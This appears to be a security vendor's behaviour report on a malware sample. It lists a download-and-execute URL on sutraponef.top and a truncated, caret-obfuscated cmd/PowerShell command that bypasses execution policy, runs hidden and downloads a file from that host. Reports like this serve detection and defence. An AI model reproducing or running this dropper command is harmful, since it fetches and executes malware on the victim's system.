Technical Information
Malicious functions
Downloads and executes
- http://sutraponef.top/read.php?f=0.dat as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c "Po^wERShE^ll.EXe^ -EX^eCu^TI^o^NPolic^y ^B^Y^pa^S^S^ ^-nOproFI^Le -^WiN^d^ow^styLe H^I^DD^E^n ^(^New-^oB^je^c^T^ ^sYsT^E^M.NEt.^Web^C^lIE^NT).DO^WNLOADf^il^E('http://sutrapone...
Network activity
UDP
- DNS ASK su###ponef.top
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c "Po^wERShE^ll.EXe^ -EX^eCu^TI^o^NPolic^y ^B^Y^pa^S^S^ ^-nOproFI^Le -^WiN^d^ow^styLe H^I^DD^E^n ^(^New-^oB^je^c^T^ ^sYsT^E^M.NEt.^Web^C^lIE^NT).DO^WNLOADf^il^E('http://sutrapone...' (with hidden window)
